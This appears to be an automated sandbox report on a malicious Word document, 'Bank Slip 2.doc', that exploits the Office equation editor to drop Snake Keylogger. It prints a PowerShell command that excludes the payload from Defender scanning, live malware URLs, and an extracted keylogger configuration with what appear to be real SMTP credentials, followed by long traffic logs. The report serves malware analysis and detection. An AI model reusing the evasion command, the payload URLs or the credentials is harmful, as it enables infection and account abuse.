Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\obie8920193.exe", ParentImage: C:\Users\user\AppData\Roaming\obie8920193.exe, ParentProcessId: 3152, ParentProcessName: obie8920193.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe", ProcessId: 3236, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2780, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3236, TargetFilename: C:\Users\user\AppData\Local\Temp\oygt2vjk.eyq.ps1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ampol.top/FcdBUj68lnCbMtB.exe	Avira URL Cloud: Label: malware
Source: https://ampol.top/FcdBUj68lnCbMtB.exej	Avira URL Cloud: Label: malware
Source: https://ampol.top/	Avira URL Cloud: Label: malware
Source: https://ampol.top/FcdBUj68lnCbMtB.exettC:	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "reservation@artefes.com", "Password": "ArtEfes4765*+", "Host": "mail.artefes.com", "Port": "587", "Version": "5.1"}

Multi AV Scanner detection for submitted file

Source: Bank Slip 2.doc

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe	Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.21.53.203 Port: 443

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 104.21.53.203:443 -> 192.168.2.22:49163 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 001C289Bh	5_2_001C230D
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_003C5038
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C7B81h	7_2_003C78C1
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C5D07h	7_2_003C5B18
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C6691h	7_2_003C5B18
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C8143h	7_2_003C7D30
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C6A01h	7_2_003C6740
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C72C1h	7_2_003C7000
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C8143h	7_2_003C8072
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C6E61h	7_2_003C6BA0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 003C7721h	7_2_003C7460
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 005746F1h	7_2_00574448
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057ACF1h	7_2_0057AA48
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00579711h	7_2_00579468
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00575CA9h	7_2_00575A00
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00572CE1h	7_2_00572A38
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 005712D1h	7_2_00571028
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057C2D1h	7_2_0057C028
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00571B81h	7_2_005718D8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057CC15h	7_2_0057C8D8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00574FA1h	7_2_00574CF8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00573591h	7_2_005732E8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00579B91h	7_2_005798E8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00573139h	7_2_00572E90
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_00577698
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00571729h	7_2_00571480
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057C729h	7_2_0057C480
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00574B49h	7_2_005748A0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057B149h	7_2_0057AEA0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 005753F9h	7_2_00575150
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 005739E9h	7_2_00573740
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00579FE9h	7_2_00579D40
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00570A21h	7_2_00570778
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057BA21h	7_2_0057B778
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00571FD9h	7_2_00571D30
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 005705C9h	7_2_00570320
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057B5CAh	7_2_0057B320
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00570E79h	7_2_00570BD0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057BE79h	7_2_0057BBD0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00574299h	7_2_00573FF0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057A899h	7_2_0057A5F0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00572889h	7_2_005725E0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00573E41h	7_2_00573B98
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 0057A441h	7_2_0057A198
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00572431h	7_2_00572188
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_005779AE
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 4x nop then jmp 00575851h	7_2_005755A8

Source: global traffic	DNS query: name: ampol.top
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
